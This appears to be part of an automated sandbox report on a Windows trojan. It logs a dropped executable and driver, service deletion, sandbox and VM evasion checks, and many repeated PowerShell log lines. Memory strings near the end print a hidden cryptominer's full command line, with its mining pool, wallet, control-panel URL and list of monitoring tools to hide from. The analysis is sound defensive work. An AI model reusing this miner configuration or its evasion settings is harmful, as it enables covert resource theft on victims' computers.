Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Code function: 0_2_00007FF7CA381394 push qword ptr [00007FF7CA38A004h]; ret	0_2_00007FF7CA381403
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Code function: 16_2_00007FF7794E1394 push qword ptr [00007FF7794EA004h]; ret	16_2_00007FF7794E1403
Source: C:\Windows\System32\conhost.exe	Code function: 20_2_0000000140001394 push qword ptr [0000000140009004h]; ret	20_2_0000000140001403

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe

File created: C:\Windows\TEMP\clwjpwuuvdte.sys

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	File created: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe			Jump to dropped file
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	File created: C:\Windows\Temp\clwjpwuuvdte.sys			Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

File created: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe

Jump to dropped file

Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe

File created: C:\Windows\Temp\clwjpwuuvdte.sys

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "PHVUTTIO"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: svchost.exe, 00000017.00000002.3318673815.000002107342F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: svchost.exe, 00000017.00000002.3318737467.0000021073480000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXELPER
Source: svchost.exe, 00000017.00000002.3318673815.000002107342F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: svchost.exe, 00000017.00000002.3318673815.000002107342F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SVCHOST.EXE--ALGO=RX/0--URL=POOL.SUPPORTXMR.COM:8080--USER=4335MEZGWWSMBW161UQP6WAQYXZTRVXWSBPKZPXTXXAH4MTOXXBIERHGBAB8XHDZAEMKWWVNP49WWK5RIBJ37AK2AZKAEKR--PASS=X--CPU-MAX-THREADS-HINT=30--CINIT-WINRING=CLWJPWUUVDTE.SYS--RANDOMX-NO-RDMSR--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-STEALTH-FULLSCREEN--CINIT-API=HTTP://195.10.205.253/PANEL/API/ENDPOINT.PHP--CINIT-VERSION=3.4.1--CINIT-IDLE-WAIT=15--CINIT-IDLE-CPU=70--CINIT-ID=MCQQAJUOIBLHNZUH
Source: svchost.exe, 00000017.00000003.2133808985.000002107346B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEHTTP://195.10.205.253/PANEL/API/ENDPOINT.PHPMCQQAJUOIBLHNZUH
Source: svchost.exe, 00000017.00000002.3318673815.000002107342F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXEVXY81NT
